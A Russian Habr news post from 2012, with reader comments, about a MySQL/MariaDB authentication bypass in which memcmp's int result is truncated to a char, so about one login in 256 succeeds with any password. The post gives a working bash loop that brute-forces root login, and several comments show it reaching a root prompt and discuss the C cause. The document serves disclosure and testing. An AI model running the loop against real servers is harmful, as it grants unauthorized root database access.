Пользователь
250,2
рейтинг
11 июня 2012 в 12:17

Разработка → Смешная уязвимость в MySQL под Linux 64-bit

В субботу координатор по безопасности проекта MariaDB Сергей Голубчик (petropavel) сообщил об интересной уязвимости в MySQL/MariaDB до версий 5.1.61, 5.2.11, 5.3.5, 5.5.22.

Суть в том, что при подключении пользователя MariaDB/MySQL вычисляется токен (SHA от пароля и хэша), который сравнивается с ожидаемым значением. При этом функция memcmp() должна возвращать значение в диапазоне -128..127, но на некоторых платформах (похоже, в glibc в Linux с оптимизацией под SSE) возвращаемое значение может выпадать из диапазона.

В итоге, в 1 случае из 256 процедура сравнения хэша с ожидаемым значением всегда возвращает значение true, независимо от хэша. Другими словами, система уязвима перед случайным паролем с вероятностью 1/256.

В итоге, простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль.

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>

На данный момент наличие уязвимости неофициально подтверждено в следующих конфигурациях:

Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
Debian Linux 64-bit (пока непонятно, в каких конкретно версиях)
Arch Linux (то же самое)
Fedora 16 (64-bit)

Пользователи также сообщают конфигурации, в которых уязвимость вроде бы не наблюдается:

Официальные билды MySQL и MariaDB (включая Windows)
Red Hat Enterprise Linux, CentOS (32-bit и 64-bit)
Ubuntu Linux 32-bit (10.04, 11.10, 12.04, вероятно все)
Debian Linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
Debian Linux lenny 32-bit 5.0.51a-24+lenny5
Debian Linux lenny 64-bit 5.0.51a-24+lenny5
Debian Linux lenny 64-bit 5.1.51-1-log
Debian Linux squeeze 64-bit 5.1.49-3-log
Debian Linux squeeze 32-bit 5.1.61-0+squeeze1
Debian Linux squeeze 64-bit 5.1.61-0+squeeze1

Точного списка уязвимых и неуязвимых систем нет.

Джошуа Дрейк из компании Accuvant Labs опубликовал программу для проверки на уязвимость.
Анатолий Ализар @alizar
карма
739,5
рейтинг 250,2
Пользователь
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (92)

  • 0
    между "-u" и «root» в команде не должно быть пробела, иначе параметр root будет воспринят как имя базы для подключения.
    • +16
      нет, сорри, ошибся…
    • +3
      Ребят не надо, я тоже «привык» писать -u параметр слитно (по аналогии с паролем). с кем не бывает.
  • +1
    А где написано, что возвращаемое значение лежит в этом диапазоне?
    • +1
      нигде не написано. Никто специально на это и не полагался, так получилось просто:

      typedef char my_bool;
      ...
      my_bool check(.....) {
        return memcmp(....);
      }
      

    • +1
      В коде функции проверки return memcmp();
      А возвращаемое значение char, поэтому после type-cast'a прокатывают отличные от нуля значения возвращаемые memcmp(), ну то есть 0x100, 0x200, и т.д.
      Кстати, вроде как и gcc, и msvc варнинг выдают на такое.
      • 0
        Все понятно, Ализар :)
        • +2
          Правильно, минусуйте. А вот в статье (кстати, не перевод — в этом случае было бы понятно нежелание что-то менять), написано, что бага якобы в glibc, где функция memcmp ведет себя не так, как положено. И автор до сих пор не потрудился исправить свою досадную оплошность.
  • +1
    Ubuntu 12.04 32 bit, mysql 5.5.22 — ничего (как и заявлено)
    Ubuntu 11.10 64 bit, mysql 5.1.62 — ничего (заявлено, что уязвим)
    Debian 6.0.5 64 bit, mysql 5.1.61 — ничего
    CentOS 6.2 64 bit, mysql 5.1.61 — ничего
    • 0
      Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu) 64 бита.

      Пробил за пару секунд. Шикарная дырка.
    • 0
      Fedora 16 x86_64, MySQL 5.5.23 — работает
      Ubuntu 10.04.3 LTS x86_64, MySQL 5.1.41 — не работает
      • 0
        $ rpm -qa | grep mysql-server
        mysql-server-5.5.23-1.fc16.x86_64

        Не работает.
    • 0
      > Ubuntu 11.10 64 bit, mysql 5.1.62 — ничего (заявлено, что уязвим)
      только что проверил ровно на такой конфе — работает
      забавно: сказано про 1 случай из 256. Так вот, если задать 1000 итераций, то можно, как я в одну из попыток, 6 раз пытаться сделать exit. То есть, такая гостеприимная дырка получается :)
    • +1
      У меня на 12.04 в 64 битной сборке баш не пускает в mysql, а вот тест на C показывает что-то вроде:
      • 0
        Vulnerable! memcmp returned: 162
    • 0
  • 0
    Эх, как не прочитаю про уязвимость — у меня уже закрыта: 5.5.22
    • НЛО прилетело и опубликовало эту надпись здесь
    • +2
      у меня MySQL 5.5.22 на Ubuntu 12.04 x64
      Уязвимость работает
    • 0
      У меня на арче 5.5.23 причем вроде месяца 3 не обновлялся.
    • 0
      у меня 5.5.22 под 12.04x64 работает?
      Какие Ваши доказательства!(С) :)
      • +1
        volch@home:~$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
        volch@home:~$ mysql --version
        mysql Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (x86_64) using readline 6.2
        volch@home:~$ uname -a
        Linux home 3.2.0-24-generic #39-Ubuntu SMP Mon May 21 16:52:17 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux


        • 0
        • 0
          А какой у Вас CPU?
          • 0
            AMD
            • 0
              было бы неплохо подробнее,
              в новости написано, что проблема возникает из за SSE может реализация SSE в Вашем CPU не такая как интел и поэтому баг не проявляется.
              У нас с Вами идентичный софт и версии, но у меня проц Core i7 2600
              • 0
                model name : AMD A4-3400 APU with Radeon(tm) HD Graphics
                flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc rep_good nopl nonstop_tsc extd_apicid aperfmperf pni monitor cx16 popcnt lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt arat npt lbrv svm_lock nrip_save pausefilter

  • +3
    и в 5.5.22 это баг не закрыт. Но конкретная сборка может быть неуязвима. Я вообще не понимаю как Arch или Debian должны собирать MySQL, чтобы заработать себе эту дыру — они что с -O0 собирают? С включенной оптимизацией gcc использует встроенный memcmp() и дыры тогда нет.
  • 0
    «мы переходим на выпуск новой версии раз в полгода. главное не качество — а количество фич в релизе» © MySQL
    • +3
      Ну это-то совсем мимо.

      1. Не переходят. Один раз переходили — с версией 6.0 — второй раз вряд ли на те же грабли наступят (хотя могут)
      2. Новые исправленные версии выпустили довольно оперативно, для Оракла. Мы в MariaDB, конечно, были первыми, но мы и меньше — нам надо двигаться быстрее.
      3. Этот баг не новый, ему лет десять, не меньше. Это не результат никаких «новых фич».
  • –1
    SRV ~# for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
    SRV ~# mysql --version
    mysql Ver 14.14 Distrib 5.1.49, for debian-linux-gnu (i486) using readline 6.1

    Иными словами, не взлетело (пробовал несколько раз)

    Старый плохо обновляющийся etch, кое-как проапгрейженный до squeezy.
    • +3
      64-bit
      • +2
        невнимателен, спасибо.
      • 0
        mysql --version
        mysql Ver 14.14 Distrib 5.1.49, for debian-linux-gnu (x86_64) using readline 6.1

        тож нифига на той же версии 64bit…
  • НЛО прилетело и опубликовало эту надпись здесь
    • НЛО прилетело и опубликовало эту надпись здесь
      • НЛО прилетело и опубликовало эту надпись здесь
      • 0
        Вообще-то да, memcmp ведет себя, как не положено. Автор не «соврамши». Что смешно — важно сочетание флагов компиляции и т.д., т.к. тестовая программа на Си легко дает дырку, а MySQL нет. Если честно, я давно не помню такой анекдотической ситуации.
  • +1
    а причем тут Ubuntu в заголовке?
    • +3
      потому что Ализар явно переводил отсюда. Это объясняет и «ubuntu» и даже слово «смешная». А там по ссылке читаем, что Ubuntu/Fedora «confirmed as vulnerable». То есть кто-то кому-то сказал, что у него сработало. Ну так с кого-то какой-то и спрос.
      • +1
        Но уязвимость действительно несколько смешная.

        Кстати, откуда взялся диапазон? Вроде под Linux/Posix ничего не сказано, кроме «0, меньше нуля, больше нуля». Это под BSD возвращается разница между двумя первыми несовпадающими байтами (т.е. диапазон есть). Поправьте, если ошибаюсь.
      • +2
        А, диапазон — исходя из signed char.

        А ведь кто-то еще смеялся над избыточностью кода return somefunc()? TRUE: FALSE…
        • +4
          return !!somefunc();
  • +1
    Воспроизвелось на Linux Mint 12

    $ for i in `seq 1 50`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

    Welcome to the MySQL monitor. Commands end with; or \g.
    Your MySQL connection id is 174050
    Server version: 5.1.61-0ubuntu0.11.10.1 (Ubuntu)

    Copyright © 2000, 2011, Oracle and/or its affiliates. All rights reserved.

    Oracle is a registered trademark of Oracle Corporation and/or its
    affiliates. Other names may be trademarks of their respective
    owners.

    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

    mysql> exit
    Bye

    $ mysql --version
    mysql Ver 14.14 Distrib 5.1.61, for debian-linux-gnu (x86_64) using readline 6.2

    $ cat /etc/linuxmint/info
    RELEASE=12
    CODENAME=lisa
    EDITION=«Gnome 64-bit»
    DESCRIPTION=«Linux Mint 12 Lisa»
    DESKTOP=Gnome
    TOOLKIT=GTK
    NEW_FEATURES_URL=http://www.linuxmint.com/rel_lisa_whatsnew.php
    RELEASE_NOTES_URL=http://www.linuxmint.com/rel_lisa.php
    USER_GUIDE_URL=http://www.linuxmint.com/documentation.php
    GRUB_TITLE=Linux Mint 12 64-bit
  • +2
    [root@deb-router ~]$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
    Welcome to the MySQL monitor.  Commands end with ; or \g.
    Your MySQL connection id is 3909
    Server version: 5.5.23-2 (Debian)
    
    Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
    
    Oracle is a registered trademark of Oracle Corporation and/or its
    affiliates. Other names may be trademarks of their respective
    owners.
    
    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
    
    mysql> select user();
    +----------------+
    | user()         |
    +----------------+
    | root@localhost |
    +----------------+
    1 row in set (0.00 sec)
    
    [root@deb-router ~]$ uname -a
    Linux deb-router 3.2.0-2-amd64 #1 SMP Sat May 12 23:08:28 UTC 2012 x86_64 GNU/Linux
    


    Работает.
  • 0
    Забавно.

    А, если не сложно, у кого сработало покажите, что у вас пишет
    egrep '(FLAG|compiler)'  `which mysqlbug`
    

    можно в личку.
    • 0
      -O2/O3, однако

      COMP_CALL_INFO="CC='/usr/bin/x86_64-linux-gnu-gcc'  CFLAGS='-O2 -DBIG_JOINS=1  -fno-strict-aliasing  -Wall -O2 -g -DDBUG_OFF'  CXX='/usr/bin/x86_64-linux-gnu-g++'  CXXFLAGS='-O3 -DBIG_JOINS=1 -felide-constructors -fno-exceptions -fno-rtti  -fno-strict-aliasing  -Wall -Wno-unused-parameter -fno-implicit-templates -fno-exceptions -fno-rtti -O2 -g -DDBUG_OFF'  LDFLAGS=''  ASFLAGS=''"
      COMP_RUN_INFO="CC='/usr/bin/x86_64-linux-gnu-gcc'  CFLAGS='-O2 -DBIG_JOINS=1  -fno-strict-aliasing  -Wall -O2 -g -DDBUG_OFF'  CXX='/usr/bin/x86_64-linux-gnu-g++'  CXXFLAGS='-O3 -DBIG_JOINS=1 -felide-constructors -fno-exceptions -fno-rtti  -fno-strict-aliasing  -Wall -Wno-unused-parameter -fno-implicit-templates -fno-exceptions -fno-rtti -O2 -g -DDBUG_OFF'  LDFLAGS=''  ASFLAGS=''"
      >C compiler:    gcc-4.6.real (Debian 4.6.3-1) 4.6.3
      >C++ compiler:  g++-4.6.real (Debian 4.6.3-1) 4.6.3
      </souirce>
      • 0
        интересно-интересно.
        спасибо, буду разбираться. до сих пор я считал, что на -O2 уже gcc будет inline-ить свой встроенный memcmp. Контрпримеров пока не было. И «info gcc» вроде так говорит.
        • 0
          Там может от размеров зависеть. При каких-то будет инлайнить, в других случаях вызовет библиотечную.
          • 0
            не может там от размеров зависеть. Исходники везде одинаковые, так что размеры — тоже везде одинаковые. Длина буфера фиксирована, 20 байт. Так что gcc должен memcmp по любому про-inline-ить.
        • 0
          Похоже, Вы правы.

          Вот программа:

          #include <stdio.h>
          #include <string.h>
          
          int main() {
            unsigned int a = 0, b = 0xbf00;
            printf("%x\n", memcmp(&a, &b, 2)); b++;
            printf("%x\n", memcmp(&a, &b, 2));
            return 0;
          }
          


          На gcc (Ubuntu 4.4.3-4ubuntu5) 4.4.3, glibc 2.11.1, x64 программа даст

          ffff4100
          ffffffff

          (где 4100 — очевидно, разница вычитания 0 и 0xbf00),

          … тогда как в случае -O2 мы имеем уже:

          ffffffff
          ffffffff

          Впрочем, прямая попытка скомпилировать memcmp из glibc 2.11.1 дает уже
          ffffff41
          ffffffff


          В общем, надо брать дизассемблер и смотреть, какой где генерируется код…
          • 0
            (кто не заметил — 0xFFFF4100 после приведения к (unsigned char) даст тот самый 0, из-за которого все и происходит)
          • +1
            я, конечно, брал и смотрел. Иначе такой баг хрен поймаешь :)

            баг проявляется на __memcmp_sse4_1 из glibc. Так что для прямой попытки надо брать именно его.
            • 0
              Видимо, авторы где-то потеряли что-то на уровне пересылки из байта в регистр (а-ля MOVZBL), откуда и всплыли «случайные» вещи в старших байтах. Ну согласитесь, это реально трагично (я не удивлюсь, если не только в mysql проблемы), но ведь и правда смешно. А главное, что баг жил «тыщу лет».
              • +1
                Это не баг, а документированное поведение — функция возвращает int, который может быть либо меньше нуля, либо больше нуля, либо равен нулю, и почти всегда по размеру больше, чем char. Ошибка именно в MySQL.
  • +6
    Кстати, каждый раз, когда я вижу подобное, я вынужден соглашаться с апологетами ФЯПов с выведением типов и pattern matching'ом (а ля хаскел) — если у вас в коде не предусмотрены все случаи выходных данных, то программа просто не соберётся.
    • 0
      вообще-то выведение типов не имеет прямого отношения к ФП. Просто так сложилось что в функциональных языках оно есть. Дело, я думаю, в том, что выведение типов — относительно новая идея в развитии компиляторов. И ФП стали набирать популярность относительно недавно. Так что новые языки, естественно, берут себе все новые и лучшие идеи. А C/C++ — старые как… И в них ничего такого нет. Хотя в новых стандартах (C++11, ага) постепенно и осторожно добавляют новые фишки. Выводить типы C++11 уже умеет, хотя и не так, как языки придуманные недавно с нуля.
      • 0
        Давно они придуманы, давно
      • +4
        Приличные компиляторы С/С++ предупреждения выдают при присваивании с возможной потерей данных. Просто эти предупреждения мало кто читает :(
  • 0
    Debian 6 (64-bit) — не работает
  • –2
    Ubuntu 12.04 LTS (GNU/Linux 3.2.0-24-generic-pae i686) mysql
    Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (i686) using readline 6.2
    не работает
  • 0
    Чекер просто обнять и плакать…

    Not triggered in 10 seconds, *probably* not vulnerable..
  • +1
    Федора 16 (64-бит), MySQL 5.5.23: баг присутствует :(
    Пожалуйста, вычеркните Федору из списка неуязвимых.
  • +1
    Debian 6.0 64 bit, MySQL 5.1.49 — не работает
    Gentoo 64 bit, MySQL 5.1.56 — не работает
  • –1
    Кошмар — 5.5.22, все обновления ставил, ubuntu
    Уязвимость есть
  • 0
    RHEL 5.6 64-bit, MySQL 5.0.77: не работает
  • +2
    Ожидал увидеть в комментариях анекдот про китайцев с паролем maodzedun, а его нет.
  • НЛО прилетело и опубликовало эту надпись здесь
  • 0
    Я так понимаю, баш скрипт на удалённые хосты не работает? я о том, что доступ root@% открыт, ну мягко говоря, не много где.
    • 0
      Но phpMyAdmin торчит у многих.
      • 0
        Что да то да :))) Лично я юзаю соединения через SSH тоннели
      • 0
        А кто в здравом уме будет к таким вещам доступ оставлять свободным? :)
        Ограничить на 1 static IP и ходить чрез proxy/тунель.
        • +1
          В здравом уме никто не будет, но мир полон удивительных мужчин и женщин, как показывает опыт.
  • 0
    Жесть просто.
    Нашёл у себя эту жесть.
    Убежал обновлять всё и вся (:
  • +9
    Никогда бы не подумал, что анекдот про то как китайцы ломали сервер Пентагон (это где на втором миллиарде запросов, сервер согласился с тем, что пароль «Мао Дзэдун»), имеет шанс быть близким к реальности.
  • 0
    MacOS X 10.7.4, 686-apple-darwin11-llvm-gcc-4.2 (GCC) 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2336.1.00) уязвима:

    Vulnerable! memcmp returned: -183
  • +1
    WTF is «SHA поверх пароля плюс хэш»?
    • 0
      плюс за внимательность :)
      В оригинале, конечно, «SHA от пароля и случайной строки»
  • 0
    Объясните мне, почему «--password=bad», а не «--password=$i»? Какой вообще смысл в подсовывании одного и того же пароля если дыра на каждом 256 пароле?

    Впрочем, ни первым ни вторым способом, ни с увеличением количества переборов до 10000 на Ubuntu 12.04 x64 ничего не взломалось.
    $ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
    $ mysql --version
    mysql  Ver 14.14 Distrib 5.5.24, for debian-linux-gnu (x86_64) using readline 6.2
    
    
    • +1
      Я выше объяснял (и в оригинале тоже все расписано). Пароль смешивается со случайной строкой. Случайная строка — она случайная, разная каждый раз. Поэтому пароль может быть один и тот же.
  • 0
    Судя по багу 412889 в gentoo данную уязвимость закрыли 25.05.2012.
  • 0
    Я совсем плохо программирую, но какие-то азы знаю. Весь день ломал мозг на каком основании «функция memcmp() должна возвращать значение в диапазоне -128..127»?

    Вот выдержка из «man 3 memcmp»:

    NAME
    memcmp - compare memory areas

    SYNOPSIS
    #include <string.h>

    int memcmp(const void *s1, const void *s2, size_t n);

    DESCRIPTION
    The memcmp() function compares the first n bytes (each interpreted as unsigned char) of the
    memory areas s1 and s2. It returns an integer less than, equal to, or greater than zero if
    s1 is found, respectively, to be less than, to match, or be greater than s2.

    RETURN VALUE
    The memcmp() function returns an integer less than, equal to, or greater than zero if the
    first n bytes of s1 is found, respectively, to be less than, to match, or be greater than the
    first n bytes of s2.


    Где тут хоть одно упоминание про char или -128..127? Разъясните мне глупому, пожалуйста. Коммент читал, но не допонял. Можно, пожалуйста, на пальцах?
    • 0
      Нет ни одного упоминания. И никому она ничего не должна, это Ализар написал так непонятно.

      «Должна» в смысле, «должна, чтобы код работал правильно».

      Функция возвращает char. А memcmp — int. То есть происходит неявное преобразование типа int в char. Как int преобразовать в char? А просто взять младший байт. При этом может получиться, что int нулю не равен (а равен, например, 256, то есть 0x100), а младший байт у него нулевой.

      Так и получается что строки разные, memcmp возвращает ненулевое значение, а после преобразования в char остается ноль, как будто пароль правильный.
      • 0
        То есть в данном случае ошибка была исключительно в коде «mysql»? А при чем тут тогда разные архитектуры и оптимизации? Где-то memcmp возвращает не int? Или преобразование в char происходит по другому?

        А что тогда проверяет эта программа из статьи?
        • 0
          Исключительно в mysql-е, конечно.

          Все же подробно описано и в advisory и в комментариях.

          memcmp везде возвращает int, но очень редко где этот int может иметь нулевой
          младший байт. То есть, насколько я знаю, только __memcmp_sse4_1 может такое.
          Про gcc, inline и подробности — выше расписано в комментариях.

          Программа вызывает memcmp с разными случайными строками и смотрит был ли младший байт хоть раз нулевым.
          • 0
            Большое Вам спасибо, вроде бы разобрался.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.